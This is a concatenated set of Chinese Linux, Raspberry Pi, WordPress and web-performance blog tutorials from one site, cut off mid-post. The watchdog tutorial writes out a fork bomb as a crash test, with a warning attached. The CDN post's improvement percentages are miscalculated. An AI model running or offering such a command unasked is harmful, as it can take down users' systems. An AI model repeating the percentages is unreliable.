列出所有章節 有時候我們對於某個主題有興趣，但是卻不知道該主題有哪些章節可以查詢，這時候就可以使用 -aw 參數查詢：\nman -aw printf 輸出為\n/usr/share/man/man1/printf.1.gz /usr/share/man/man3/printf.3.gz 這樣我們就可以知道 printf 這個主題有兩份說明文件，一份在第 1 個章節，另一份在第 3 個章節，所以我們可以用下面兩個指令來查詢：\nman printf man 3 printf 一次查閱所有章節 如果要一次查閱一個主題的所有章節，可以使用 -a 參數，這樣 man 會依序顯示所有的章節：\nman -a printf 當您看完一個章節並按下 q 離開之後，它就會顯示\n--Man-- next: printf(3) [ view (return) | skip (Ctrl-D) | quit (Ctrl-C) ] 接著按下 Enter 鍵即可繼續閱讀下一個章節。\n搜尋線上手冊 若想要在所有的線上手冊中以關鍵字搜尋，可以使用 -k 參數，並指定要搜尋的字眼：\nman -k printf 輸出會類似這樣\nasprintf (3) -- print to allocated string dprintf (3) -- print to a file descriptor fprintf (3) -- formatted output conversion fwprintf (3) -- formatted wide-character output conversion printf (1) -- format and print data [略] man 在搜尋時其實是以正規表達式（regular expression）來比對的，所以您可以使用任何正規表達式來做更複雜的搜尋，例如搜尋 s 開頭，並且包含 printf 字眼的文件：\nman -k \u0026#34;^s.*printf\u0026#34; 輸出為\nsnprintf (3) -- formatted output conversion sprintf (3) -- formatted output conversion swprintf (3) -- formatted wide-character output conversion 另外也可以使用 apropos 指令來搜尋：\napropos \u0026#34;^s.*printf\u0026#34; 使用瀏覽器顯示線上手冊 如果您喜歡瀏覽器來查看說明文件，可以使用 -H 參數，並指定要使用的瀏覽器：\nman -Hfirefox printf 畫面會像這樣\n如果您在使用 -H 這個參數時，出現這樣的錯誤：\nman: command exited with status 3: /usr/lib/man-db/zsoelim | /usr/lib/man-db/manconv -f UTF-8:ISO-8859-1 -t UTF-8//IGNORE | preconv -e UTF-8 | tbl | groff -mandoc -Thtml 就表示系統可能沒裝 groff，請先用 apt 安裝：\nsudo apt-get install groff 指定分頁程式（Pager） 顯示文件用的分頁程式，可以使用 -P 參數指定：\nman -P more printf 將線上手冊儲存為文字檔、網頁或 PDF 有時候我們會想要將線上手冊儲存成一般的檔案，方便用其他的方式來查閱，若要儲存成一般的文字檔可以使用：\nman printf | col -b \u0026gt; printf.txt 將線上手冊儲存為 HTML 網頁檔：\nzcat `man -w printf` | groff -mandoc -T html \u0026gt; printf.html 將線上手冊儲存為 PDF 檔：\nman -t printf | ps2pdf - \u0026gt; printf.pdf 指定語系 現在很多線上手冊都有中文翻譯，如果您的 Linux 系統設定為中文語系，可能就有機會看到中文的說明文件：\n如果想要看原文的話（尤其是翻譯翻的不好的時候），可以用 -L 指定語系：\nman -L en 5 passwd 彩色的線上文件 將文件的關鍵字加上色彩可以讓人閱讀起來更舒服，在 ~/.bashrc 中加入以下的色彩設定：\n# Less Colors for Man Pages export LESS_TERMCAP_mb=$\u0026#39;\\E[01;31m\u0026#39; # begin blinking export LESS_TERMCAP_md=$\u0026#39;\\E[01;38;5;74m\u0026#39; # begin bold export LESS_TERMCAP_me=$\u0026#39;\\E[0m\u0026#39; # end mode export LESS_TERMCAP_se=$\u0026#39;\\E[0m\u0026#39; # end standout-mode export LESS_TERMCAP_so=$\u0026#39;\\E[38;5;246m\u0026#39; # begin standout-mode - info box export LESS_TERMCAP_ue=$\u0026#39;\\E[0m\u0026#39; # end underline export LESS_TERMCAP_us=$\u0026#39;\\E[04;38;5;146m\u0026#39; # begin underline 這樣就可以讓線上文件變成彩色的：\n這裡的顏色都是使用 ANSI escape code 來指定的，所以您也可以自己修改這裡的色碼，自己調整顏色。\n另外一個顯示彩色文件的方法是改用 most 這個分頁程式：\nsudo apt-get install most export PAGER=\u0026#34;most\u0026#34; man printf 畫面會像這樣\n參考資料 TGS nixCraft ","permalink":"https://blog.gtwang.org/linux/linux-man-page-command-examples/","summary":"\u003cp\u003e這裡整理一些關於 Linux 線上手冊（man page）的使用範例，教您如何善用這些說明文件。\u003c/p\u003e\n\u003cp\u003e在 UNIX/Linux 的系統中有非常多的指令，通常使用者（甚至是資深的系統管理者）都無法記住每個指令的詳細使用方式，尤其是那些有非常多參數可以用的指令，就算是天天在用的 \u003ccode\u003els\u003c/code\u003e，您可能也不是很清楚它所有的參數如何使用。\u003c/p\u003e","title":"善用 man 指令查詢 Linux 線上手冊（Man Page）"},{"content":"這裡介紹如何啟用樹莓派的硬體看門狗功能，讓它在系統當機時可以自動重新開機。\n樹莓派（Raspberry Pi）是一個價格低、功能強大的迷你電腦，結合各種感測器（sensors）之後，即可收集各類的感測資料，非常適合應用於現今的物聯網。\n不過通常一般的感測器應用中，資料的收集與環境狀況的監控都是長期性的，而且通常管理者都不會一直待在感測器旁邊，如果負責收集資料的樹莓派突然當機（不論是因為硬體或是軟體等問題），又無法經由網路遠端連線進去看狀況時，唯一的解決辦法就是讓管理者跑到樹莓派旁邊手動重開機，這樣的問題通常在物聯網的應用中是很常見的。\n為了避免這種當機後，手動重開機的麻煩，樹莓派的硬體上內建了一個看門狗（watchdog）的功能，它可以自動監控系統的運行狀況，當它發現系統卡在某個工作一直沒辦法跳出時，就會自動將系統重新開機。\n看門狗的運作原理是在硬體上實作一個倒數計時器（countdown timer），當這個計時器數到零時，就會將系統重新開機，而在正常的系統運行時，系統上的軟體會定期重設這個計時器，讓它在正常的狀況下永遠不會數到零（重開機），如果系統發生問題時（當機），軟體就會無法重設這個計時器，最後當計時器數到零的時候，就會自動重新開機了。\n啟用 bcm2708_wdog 核心模組 要使用樹莓派的硬體看門狗，首先啟用 bcm2708_wdog 這個核心模組，編輯 /etc/modules 核心模組設定檔，加入這一行：\nbcm2708_wdog 這樣在下次重新開機時，硬體看門狗模組就會自動載入。如果想要立即啟用，可以執行：\nsudo modprobe bcm2708_wdog 安裝 watchdog 監控 Daemon 啟用 Linux 的核心模組之後，我們還會需要一個軟體的監控程式來配合才能組成完整的看門狗功能，最簡單的方式就是直接使用 watchdog 這個監控 Daemon，它只要透過 apt 安裝一下就可以立即使用了：\nsudo apt-get install watchdog 安裝好之後，編輯 /etc/watchdog.conf 這個設定檔，首先設定看門狗的設備檔案（device file），將 watchdog-device 註解拿掉：\nwatchdog-device = /dev/watchdog 接著設定想要監控的系統狀態，您可以自由選擇要監控哪一些。\n系統負載（loading） 您可以設定系統負載的上限值，當 watchdog 發現系統負載超過這個上限值的時候，就會讓系統重新啟動。\nmax-load-1 = 24 max-load-5 = 18 max-load-15 = 12 這裡的數值是 /etc/watchdog.conf 的預設值，正常來說如果系統真的當機的話，系統的負載慧遠超過 25，這裡所設定的數值在系統正常的狀況下是不會重新啟動的。當然您可以依照自己的狀況來調整這個上限值。\nCPU 溫度 監控樹莓派的 CPU 溫度，當溫度太高時，則關機：\ntemperature-device = /sys/class/thermal/thermal_zone0/temp max-temperature = 80000 /sys/class/thermal/thermal_zone0/temp 中儲存的數值是控樹莓派的 CPU 溫度，單位是攝氏千分之一度，我們這裡設定讓 CPU 在超過攝氏 80ᵒC 時重新啟動。而 watchdog 再溫度達到這個數值的 90%、95% 與 98% 時，也會先發出警告。\n記憶體 監控記憶體的使用量，當虛擬記憶體（virtual memory）太少時，則重新啟動：\nmin-memory = 1 這裡的記憶體單位是 pages，您可以用 getconf 查看自己系統的 page size 是多大：\ngetconf PAGESIZE 或是\ngetconf PAGE_SIZE 輸出會類似這樣\n4096 以這個例子來說，一張 page 的大小就是 4096 bytes。\n網路 監控某個 IP 位址：\nping = 172.31.14.1 亦可用廣播位址監控整個 subnet 上的主機（這個要小心使用）：\nping = 172.26.1.255 監控網路卡式否有流量：\ninterface = eth0 檔案 監控檔案是否可以正常存取，如果無法存取檔案，則重新啟動：\nfile = /var/log/messages watchdog 會使用 stat 檢查檔案，如果傳回錯誤的話並不會重新啟動，如果 stat 在呼叫時卡住，超過一分鐘之後 watchdog 才會將系統重新啟動，這個狀況通常會發生 NFS 掛載的檔案系統上。\n管理者 Email 設定管理者的 Email，讓系統重新啟動或是關機前，以 Email 通知管理者：\nadmin = admin@gtwang.org 即時監控模式 在負載量比較大的系統中，watchdog 很容易被作業系統搬到記憶體的交換空間（swap），如果來不及搬回記憶體時，很容易造成系統不必要的重新啟動，如果想避免這樣的狀況，可以啟用即時監控模式（realtime），讓 watchdog 常駐在記憶體中：\nrealtime = yes 開機自動啟動看門狗 先啟動 watchdog 常駐程式進行測試：\nsudo service watchdog start 當確認設定沒問題之後，就可以讓 watchdog 在開機時就自動啟動：\nsudo update-rc.d watchdog defaults 當機測試 安裝好看門狗之後，可以用這個 fork-bombs 測試一下，執行這個指令之後，它會不停重複 fork 出新的行程，造成系統當機：\n:(){ :|:\u0026amp; };: 正常來說，執行這個指令稿之後，系統就會馬上當住，您可以透過這個方式測試看門狗是否會讓系統重新啟動。\n請不要在一般的 Linux 主機上執行 fork-bombs，它會造成系統當機！\n正常在執行 fork-bombs 之後，系統負載會在幾秒之內迅速上升，然後重新開機，這是 /var/log/daemon.log：\nFeb 16 14:14:56 raspberrypi watchdog[3818]: loadavg 88 18 6 is higher than the given threshold 24 18 12! Feb 16 14:14:56 raspberrypi watchdog[3818]: /usr/lib/sendmail does not exist or is not executable (errno = 2) Feb 16 14:14:56 raspberrypi watchdog[3818]: shutting down the system because of error -3 如果您對於樹莓派的應用有興趣，建議您可以繼續閱讀物聯網的相關文章。\n","permalink":"https://blog.gtwang.org/iot/raspberry-pi-hardware-watchdog/","summary":"\u003cp\u003e這裡介紹如何啟用樹莓派的硬體看門狗功能，讓它在系統當機時可以自動重新開機。\u003c/p\u003e\n\u003cp\u003e樹莓派（Raspberry Pi）是一個價格低、功能強大的迷你電腦，結合各種感測器（sensors）之後，即可收集各類的感測資料，非常適合應用於現今的物聯網。\u003c/p\u003e","title":"樹莓派硬體看門狗（Watchdog）：當機時自動重新開機"},{"content":"RuneAudio 是一個以 Linux 為基礎的開放原始碼的數位音樂播放系統，可安裝至各種嵌入式（embedded）的硬體，打造低成本的高傳真數位音樂播放系統。\n喜歡聽音樂的人，通常都會收集許多 mp3 音樂放在自己的電腦中，想聽的時候就開著電腦播放，不過這樣除了耗電之外，使用上也不甚方便。 而 RuneAudio 可以讓您用很低廉的成本，打造一個很方便的數位音樂播放系統，將音樂輸出至喇叭或是音響設備，並且可以從手機上遠端遙控，適合時常在家聽音樂的人使用。\n一個完整的 RuneAudio 音樂播放系統，是由幾個主要的部分組成的：\nRuneAudio 播放器：由低成本的嵌入式硬體（如樹莓派）與 RuneAudio 組成，負責音樂的串流接收與播放。 音樂來源：可以使用 USB 隨身碟、 NAS 網路硬碟或是網路電台等來源。 播放控制器：可以使用一般個人電腦、平板電腦或是手機等可瀏覽網頁的設備，作為遠端操作的遙控器。 音效輸出設備：一般的耳機、喇叭、DAC、擴大器等聲音輸出設備。 這裡我們使用樹莓派來示範如何自己打造一個完整的 RuneAudio 音樂播放系統，首先準備好所有需要的硬體：\n樹莓派（包含主機板、電源供應器）。 MicroSD 記憶卡。 一般電腦用的喇叭。 USB 隨身碟。 一般電腦或是智慧型手機。 以下是 RuneAudio 的安裝與使用步驟：\nStep 1\n從 RuneAudio 官方網站下載適用於樹莓派的影像檔，並將影像檔寫入 MicroSD 記憶卡中，寫入的方法請參考這裡。\nStep 2\n把 MicroSD 卡插進樹莓派，並且接上電源、支援 DHCP 的有線網路、喇叭與儲存音樂的 USB 隨身碟，開機進入系統。\n一般來說，RuneAudio 不需要接螢幕，只要有 DHCP 的有線網路環境即可。\nStep 3\n從 DHCP 伺服器中找出 RuneAudio 系統所取得的 IP 位址，打開瀏覽器輸入該位址即可看到 RuneAudio 的網頁控制介面：\n如果您是使用 IP 分享器在配發 IP 的話，通常在 IP 分享器的管理介面中都可以查到所有正在使用的 IP 位址列表。\nStep 4\n在 Library 選單中，選擇音樂來源，這裡我們先使用最簡單的 USB 隨身碟做示範。\nStep 5\n選擇隨身碟。\nStep 6\n這裏會列出隨身碟中所有的音樂，您可以選擇要播放的音樂，將其加入播放清單（Queue）中。\nStep 7\n建立好播放清單之後，就可以開始聽音樂了。\nStep 8\n在音樂播放的介面中，左邊是播放進度，右邊是音量控制，剩下的我想應該直接看就懂了，不用多作解釋。\n由於 RuneAudio 是直接使用網頁介面控制的，而它的網頁是屬於回應式網頁，可以直接適用於平板電腦或是手機，您也可以直接用手機來瀏覽這個網址，他會自動呈現手機版的控制介面，非常方便。\n如果您對於樹莓派的應用有興趣，建議您可以繼續閱讀物聯網的相關文章。\n","permalink":"https://blog.gtwang.org/iot/raspberry-pi-runeaudio-music-player/","summary":"\u003cp\u003e\u003ca href=\"https://www.runeaudio.com/\"\u003eRuneAudio\u003c/a\u003e 是一個以 Linux 為基礎的開放原始碼的數位音樂播放系統，可安裝至各種嵌入式（embedded）的硬體，打造低成本的高傳真數位音樂播放系統。\u003c/p\u003e\n\u003cp\u003e喜歡聽音樂的人，通常都會收集許多 mp3 音樂放在自己的電腦中，想聽的時候就開著電腦播放，不過這樣除了耗電之外，使用上也不甚方便。 而 RuneAudio 可以讓您用很低廉的成本，打造一個很方便的數位音樂播放系統，將音樂輸出至喇叭或是音響設備，並且可以從手機上遠端遙控，適合時常在家聽音樂的人使用。\u003c/p\u003e","title":"使用樹莓派（Raspberry Pi）與 RuneAudio 打造音樂播放器"},{"content":"這裡介紹如何將影像檔（img 檔）寫入 MicroSD 卡中，製作樹莓派系統用的記憶卡。\n樹莓派（Raspberry Pi）在一開始安裝作業系統時，需要將作業系統的影像檔（img 檔）寫入 MicroSD 卡中（除了使用 NOOBS 之外），以下介紹在各種作業系統中，如何將 img 檔寫入 MicroSD 卡。\n將影像檔寫入 MicroSD 卡時，建議將沒有用到的 USB 隨身碟或各種記憶卡都先拔除，避免不小心選錯磁碟而誤刪資料。\nWindows Windows 的使用者可以選擇 USB Image Tool 或是 Win32 Disk Imager 來將 img 檔寫入記憶卡。\nUSB Image Tool 名稱：USB Image Tool\n網址：www.alexpage.de\nUSB Image Tool 下載下來解壓縮之後，不需要安裝即可使用。\n使用步驟如下：\n選擇「Device Mode」。 從左側的選單中，選擇要寫入的磁碟。 按下「Restore」，選擇要寫入的影像檔。 Win32 Disk Imager 名稱：Win32 Disk Imager\n網址：sourceforge.net\nWin32 Disk Imager 跟 USB Image Tool 差不多，不過使用前要先安裝。\n使用步驟如下：\n選擇影像檔（Image File）。 選擇要寫入的磁碟（Device）。 按下「Write」。 Mac OS X 插上 MicroSD 卡之後，用 diskutil 檢查一下硬碟的狀況：\ndiskutil list 其輸出會類似這樣： 在這裡請先確認自己的 MicroSD 卡的磁碟編號是哪一個，通常從磁碟大小就可以判斷，以這個例子來說，我是插一張 16GB 的 MicroSD 卡，所以是 /dev/disk1 這一個磁碟。 接著把 MicroSD 卡先卸載：\ndiskutil unmount /dev/disk1 使用 dd 寫入 img 檔：\nsudo dd if=2015-02-16-raspbian-wheezy.img of=/dev/disk1 如果您想要在 Mac OS X 中製作 Linux 的 USB 開機隨身碟，可以參考這裡。\nLinux 插入 MicroSD 卡之後，先使用 df 查看硬碟狀況，判斷 MicroSD 卡的磁碟編號：\ndf -h 輸出會類似這樣：\n這個例子而言，我的 MicroSD 卡是 /dev/sdc，接著把 MicroSD 卡上的所有分割區卸載：\nsudo umount /dev/sdc1 sudo umount /dev/sdc2 用 dd 指令寫入 img 檔：\nsudo dd bs=1M if=2015-02-16-raspbian-wheezy.img of=/dev/sdc 或用 dcfldd 寫入，這樣在寫入的過程中會即時顯示進度：\nsudo dcfldd bs=1M if=2015-02-16-raspbian-wheezy.img of=/dev/sdc 或是用 dd 配合 pv 亦可：\ndd bs=1M if=2015-02-16-raspbian-wheezy.img | pv | sudo dd of=/dev/sdc 如果您對於樹莓派的應用有興趣，建議您可以繼續閱讀物聯網的相關文章。\n參考資料 elinux.org ","permalink":"https://blog.gtwang.org/iot/raspberry-pi-microsd-card-setup-in-windows/","summary":"\u003cp\u003e這裡介紹如何將影像檔（img 檔）寫入 MicroSD 卡中，製作樹莓派系統用的記憶卡。\u003c/p\u003e\n\u003cp\u003e樹莓派（Raspberry Pi）在一開始安裝作業系統時，需要將作業系統的影像檔（img 檔）寫入 MicroSD 卡中（除了使用 \u003ca href=\"/iot/raspberry-pi-b-plus-noobs-linux-installation/\"\u003eNOOBS\u003c/a\u003e 之外），以下介紹在各種作業系統中，如何將 img 檔寫入 MicroSD 卡。\u003c/p\u003e","title":"將影像檔（img 檔）寫入 MicroSD 卡，製作樹莓派系統用的記憶卡"},{"content":"VirusTotal 是一個免費的線上掃毒服務，一次使用數十種防毒軟體來掃描您的檔案，避免漏網之魚。\n一般人的電腦通常都會安裝防毒軟體來抵禦惡意程式的威脅，而防毒軟體則是靠著病毒碼來判斷惡意程式的，當一個新的病毒剛出現時，不見得每一家的防毒軟體公司都會即時抓到這個病毒程式並更新最新的病毒碼，這個時候沒有這個新病毒碼的防毒軟體就容易出現防疫的漏洞了。\n沒有一套防毒軟體能保證可以掃出所有的病毒，就算是各大知名的防毒軟體也都難免會有漏網之魚，而正常來說一台電腦只會安裝一套防毒軟體，就算您想要多裝幾套，技術上也很困難。\n碰到這個問題時，可以使用 VirusTotal 這個免費的線上掃毒服務，只要將要掃描的檔案上傳到 VirusTotal 之後，它就會用數十種防毒軟體同時進行掃描，消除使用單一套防毒軟體的死角。\n名稱：VirusTotal\n網址：https://www.virustotal.com/\n以下是用 VirusTotal 掃描檔案或網址的步驟。\nStep 1\n開啟 VirusTotal 的網站，選擇要掃描的檔案，按下「掃描」。\nStep 2\n如果您的檔案是從網路上下載的，很有可能早就已經有人把這個檔案上傳到 VirusTotal 上面掃過了，您可以選擇查看過去的掃描結果，或是立即重新分析。\nStep 3\n在掃描結果的報告中，最重要的就是偵測率，它代表有多少比例的防毒軟體偵測到病毒，例如 49/57 就代表 57 個防毒軟體中，有 49 個防毒軟體在掃描這個檔案時，偵測到病毒或是惡意程式，這個數值越高就代表檔案有病毒的機率越大。\nStep 4\n在報表的下方可以查看每個防毒軟體的掃描結果，有時候不見得掃出比較多病毒的防毒軟體就比較好，如果常常誤判也是個問題，我們可以從這裡來比較各家防毒軟體的差異。\nStep 5\n除了掃描檔案之外，VirusTotal 也可以掃描網站，檢查特定的網站是否含有病毒或是惡意程式，其使用方式跟掃描檔案差不多，輸入網址後即可掃描，而報表的呈現方式也相同。\n","permalink":"https://blog.gtwang.org/useful-tools/virustotal-free-antivirus-scan-service/","summary":"\u003cp\u003eVirusTotal 是一個免費的線上掃毒服務，一次使用數十種防毒軟體來掃描您的檔案，避免漏網之魚。\u003c/p\u003e\n\u003cp\u003e一般人的電腦通常都會安裝防毒軟體來抵禦惡意程式的威脅，而防毒軟體則是靠著病毒碼來判斷惡意程式的，當一個新的病毒剛出現時，不見得每一家的防毒軟體公司都會即時抓到這個病毒程式並更新最新的病毒碼，這個時候沒有這個新病毒碼的防毒軟體就容易出現防疫的漏洞了。\u003c/p\u003e","title":"VirusTotal 免費線上掃毒服務，分析可疑檔案與網址"},{"content":"這裡介紹如何在 WordPress 中設定網站的小圖示，幫助網站建立好的品牌形象。\n一般的正式網站都會自己設計一個代表該網站的小圖示（favicon），這個圖示在使用者瀏覽網頁時，會出現在瀏覽器的網址會是標題列上，對於網站的形象有加分的作用。\nStep 1\n首先設計自己的網站圖示，您可以使用 favicon.cc 自己畫一個，或是將一般的圖檔上傳至 favikon 來產生圖示。網路上也有許多免費的圖示可以下載。\nStep 2\n將製作好的圖示檔（檔名通常為 favicon.ico）上傳至網頁伺服器中，路徑可以自己調整，不過通常大家都會放在網站的根目錄，例如 https://blog.gtwang.org/favicon.ico。\nStep 3\n在 WordPress 管理介面中，選擇「Appearance」的「Editor」，編輯 header.php 這個 PHP 檔案，在 \u0026lt;head\u0026gt; 與 \u0026lt;/head\u0026gt; 之間加上一行：\n\u0026lt;link rel=\u0026#34;icon\u0026#34; type=\u0026#34;image/x-icon\u0026#34; href=\u0026#34;/favicon.ico\u0026#34; /\u0026gt; 其中 href=\u0026quot;/favicon.ico\u0026quot; 就是您的網站圖示路徑，如果您的檔名或是路徑不同，請自行更改。\n另外，如果您所使用的圖示檔案不是 ico 檔（例如 png 或是 gif），那麼除了副檔名要改變之外，type 也要修改一下，以下是一些範例：\npng 檔：\n\u0026lt;link rel=\u0026#34;icon\u0026#34; type=\u0026#34;image/png\u0026#34; href=\u0026#34;/png-favicon.png\u0026#34; /\u0026gt; jpeg 檔：\n\u0026lt;link rel=\u0026#34;icon\u0026#34; type=\u0026#34;image/jpeg\u0026#34; href=\u0026#34;/jpeg-favicon.jpg\u0026#34; /\u0026gt; gif 檔：\n\u0026lt;link rel=\u0026#34;icon\u0026#34; type=\u0026#34;image/gif\u0026#34; href=\u0026#34;/gif-favicon.gif\u0026#34; /\u0026gt; 如果不想要手動修改 HTML 程式碼，也可以試試看從 WordPress 的 plugins 中搜尋 favicon，找一些 plugins 來用，不過我個人是比較喜歡直接改 HTML，這樣比較不用裝太多 plugins。\n","permalink":"https://blog.gtwang.org/wordpress/wordpress-favicon-setup/","summary":"\u003cp\u003e這裡介紹如何在 WordPress 中設定網站的小圖示，幫助網站建立好的品牌形象。\u003c/p\u003e\n\u003cp\u003e一般的正式網站都會自己設計一個代表該網站的小圖示（favicon），這個圖示在使用者瀏覽網頁時，會出現在瀏覽器的網址會是標題列上，對於網站的形象有加分的作用。\u003c/p\u003e","title":"如何在 WordPress 設定 Favicon 網站圖示？"},{"content":"這裡解釋內容傳遞網路（CDN）對於手機在瀏覽網頁時的影響，告訴您到底該不該將 CDN 使用在手機版的網頁上。\n近年來使用行動裝置瀏覽網頁的比例與日俱增，最近 Google 也針對行動裝置的網頁搜尋規則進行了調整，讓行動裝置在使用 Google 搜尋時，可以獲得更好的結果，在未來網站的設計上，除了考慮一般的桌機版本之外，手機與平板電腦的網頁也是非常重要的一環。\n在行動裝置的網頁設計上，除了適合手機與平板的網頁排版之外，網頁載入速度也是一個重點，通常行動裝置透過 3G 或 4G 網路上網，網路頻寬會比較低，如何讓行動裝置平台也能夠很快速的載入網頁，是大家都會關注的問題。\n有些人根據實際的測試數據，推斷傳統的 CDN 對於行動裝置平台的加速效果不彰，所以希望有一個專門設計給行動裝置平台的特殊 CDN，改善現有的問題，但是其實真正的問題不是出在 CDN 本身，而是電信公司（carrier）的網路問題。\n網路延遲（Latency）的因素 為了釐清網路延遲的問題，我們以一個比較實際的範例情況來解釋，假設：\n用戶端位於美國西岸，而網站的伺服器位於東岸。 美國東岸與西岸之間的 propagation latency 是 50 ms。 伺服器的反應時間也是 50 ms。 一般使用有線網路的用戶，其「最後一哩路」（last-mile）的延遲：光纖網路大約 18 ms，cable 大約 26 ms，DSL 大約為 44 ms。 使用行動上網的用戶，其「最後一哩路」的延遲：4G 大約為 50 ms，3G 大約為 200 ms。 而用戶在發出網頁請求之後到收到回應所需要的時間，就是資料來回傳遞路徑上所有延遲時間的總和，亦即「最後一哩路」→西岸到東岸 50 ms→伺服器的反應時間 50 ms→東岸到西岸 50 ms→「最後一哩路」，以光纖網路的用戶來說，總共所花費的時間就是 18 + 50 + 50 + 50 + 18 = 186 ms。\n使用 CDN 加速 CDN 的基本原理就是讓網頁資料的地理位置盡量靠近使用者，所以許多 CDN 公司都會在全球各處的資料中心設置很多的快取（cache）伺服器，最好的狀況就是讓快取伺服器剛好設在網際網路服務提供者（ISP）或電信公司的聯外網路出口，當使用者的請求經過「最後一哩路」的延遲之後，馬上就可以經由 CDN 的快取伺服器取得資料並回傳，將 propagation latency 降到最低，並且也可以透過快取節省伺服器的反應時間。\n接續上面的範例，假設 CDN 快取伺服器設置在一個不錯的位置（可將東西岸之間的 50 ms 降至 5 ms），而起可以透過快取將賜福起反應時間降至 5 ms，對於光纖網路的用戶來說，總過花費的時間就會變成 18 + 5 + 5 + 5 + 18 = 51 ms，也就是說加上 CDN 之後，整體耗費的時間從 186 ms 下降至 51 ms，降幅達 365%。\nLast-mile Coast-to-Coast Server Response Total (ms) Improvement Fiber 18 50 50 186 Cable 26 50 50 202 DSL 44 50 50 238 4G 50 50 50 250 3G 200 50 50 550 CDN + Fiber 18 5 5 51 -135 ms (365%) CDN + Cable 26 5 5 67 -135 ms (301%) CDN + DSL 44 5 5 103 -135 ms (231%) CDN + 4G 50 5 5 115 -135 ms (217%) CDN + 3G 200 5 5 415 -135 ms (133%) 這張表格是各種網路狀況的計算結果，您可以發現真正造成行動裝置用戶網路效能差異的原因來自於「最後一哩路」的延遲，不管是一般用戶或是行動裝置用戶，透過 CDN 伺服器所減少的延遲時間都是固定的。\n由於 CDN 只能降低 propagation latency 與伺服器反應時間，如果您只看行動裝置用戶在使用 CDN 前後的測量結果，會發現效果不是很好（ 3G 網路只有加速 33%），但事實上問題是出在大部份電信公司的「最後一哩路」過高，讓 CDN 效果很難凸顯出來。\n至於電信公司的「最後一哩路」問題，通常還是要電信公司自己來解決，或是要看電信公司如何與 CDN 之間互相配合，這些都不是一般使用者能夠處理的範圍，我們能做的就是找一家好一點的 CDN 來使用，讓 propagation latency 與伺服器反應時間盡量降低。\nCDN 還是有加速效果的 總而言之，不管是一般有線網路或是行動網路，CDN 還是有加速效果的，只是對於行動網路比較不明顯而已，還是可以放心使用的。\n參考資料 igvita.com ","permalink":"https://blog.gtwang.org/web-development/why-is-my-cdn-slow-for-mobile-clients/","summary":"\u003cp\u003e這裡解釋內容傳遞網路（CDN）對於手機在瀏覽網頁時的影響，告訴您到底該不該將 CDN 使用在手機版的網頁上。\u003c/p\u003e\n\u003cp\u003e近年來使用行動裝置瀏覽網頁的比例與日俱增，最近 Google 也針對行動裝置的網頁搜尋規則\u003ca href=\"/web-development/google-mobile-friendly-test-tool/\"\u003e進行了調整\u003c/a\u003e，讓行動裝置在使用 Google 搜尋時，可以獲得更好的結果，在未來網站的設計上，除了考慮一般的桌機版本之外，手機與平板電腦的網頁也是非常重要的一環。\u003c/p\u003e","title":"內容傳遞網路（CDN）對於手機瀏覽網頁的加速效果不好？"},{"content":"這裡介紹如何在 WordPress 的網站中放置 Google AdSense 廣告，讓網站產生額外的收益。\nAdSense 是 Google 所提供的網路廣告服務，加入 AdSense 之後，你就可以在自己的網站上刊登 AdSense 所提供的廣告，有許多網站都是使用這樣的方式，靠著廣告的收入來維持網站的營運。\n以下我們介紹如何在 WordPress 網站中加入 Google AdSense 廣告，讓自己多一份收入。\n使用 WordPress 的 Widget 要在 WordPress 的網站上放置 AdSense 廣告，最簡單的方法就是使用 Text widget，使用者不需要懂任何 PHP 程式或是 HTML 等網頁技術，只要複製與貼上即可，以下是操作步驟。\nStep 1\n在 WordPress 的控制版面中，選擇「Appearance」中的「Widgets」。\nStep 2\n選擇「Text」這個 Widget。\nStep 3\n從 Google AdSense 的網站上將自己的廣告程式碼複製下來。\nStep 4\n將 AdSense 廣告程式碼貼在 Text Widget 中，按下「Save」之後就完成了。\nStep 5\n最後檢查自己的網頁，正常的話應該就可以看到自己的廣告了。\n修改佈景主題（Theme） 雖然使用 Text widget 很方便，但是在廣告的擺設位置上就會有許多限制，如果您想要任意指定廣告的位置（例如放在文章標題的下方等），就要修改佈景主題了，以下介紹如何在文章標題下方放置 AdSense 廣告。\nStep 1\n在 WordPress 的控制版面中，選擇「Appearance」中的「Editor」。\nStep 2\n由於我們要將廣告放在主要的文章內容之中，所以要先找出產生主要內容的 PHP 檔案是哪一個，而這個檔案會因為不同的佈景主題而有不同，以 WordPress 預設的 Twenty Fifteen 這個佈景主題來說，是 content.php 這個檔案，而有些佈景主題則是 single.php。\nStep 3\n找出文章標題與文章內容的位置，在中間插入 AdSense 程式碼。以 Twenty Fifteen 這個佈景主題來說，文章的標題所使用的 CSS class 是 entry-header，而文章內容則是使用 entry-content，雖然每個佈景主題用的 CSS class 名稱都不同，不過大概都有一定的規則可循，按照這樣的規則去找，通常很快就可以找到。\n\u0026lt;/header\u0026gt;\u0026lt;!-- .entry-header --\u0026gt; \u0026lt;!-- 把 AdSense 程式碼放在這裡 --\u0026gt; \u0026lt;div class=\u0026#34;entry-content\u0026#34;\u0026gt; 找到之後，就把自己的 AdSense 程式碼放在兩個 CSS class 的 HTML 元素中間即可。\n如果您想要將廣告放在其他的頁面（例如搜尋結果頁面），方法也都是差不多的，就是先找出產生頁面的 PHP 檔案，再按照 CSS 的規則去找，最後再將 AdSense 程式碼貼上即可。\n","permalink":"https://blog.gtwang.org/wordpress/add-google-adsense-to-wordpress-website/","summary":"\u003cp\u003e這裡介紹如何在 WordPress 的網站中放置 Google AdSense 廣告，讓網站產生額外的收益。\u003c/p\u003e\n\u003cp\u003eAdSense 是 Google 所提供的網路廣告服務，加入 AdSense 之後，你就可以在自己的網站上刊登 AdSense 所提供的廣告，有許多網站都是使用這樣的方式，靠著廣告的收入來維持網站的營運。\u003c/p\u003e","title":"在 WordPress 網站中加入 Google AdSense 廣告賺取收益"},{"content":"這理整理了一系列關於網站架設的教學資源，讓您可以完整了解一個網站的成立所需要的準備工作以及各種相關的技術。\n在這個資訊的時代，幾乎人人都會上網，台灣每日平均使用智慧型手機上網的時數還是世界第一，為了搶食這塊網路大餅，許多傳統的商家除了經營實體商店之外，也紛紛加上網路宣傳與銷售的管道，拓展產品的銷售通路，以期增加公司的獲利。\n而要從實體通路搶攻網路的市場，第一步當然就是要有自己的網站，這樣才能夠吸引客戶，宣傳自己的產品，建立好的品牌形象，如果只是使用一般免費的部落格來宣傳，其實效果是差很多的。\n自己公司有一個好的網站，對於品牌形象的建立是有很直接的關係的，這個道理很簡單，假設有兩家公司都生產同一種產品，其中一家有一個自己的官方網站（網址是 www.公司名稱.com.tw 這樣的正式網址），而另一家沒有只有一個免費的部落格（網址類似 公司名稱.pixnet.net 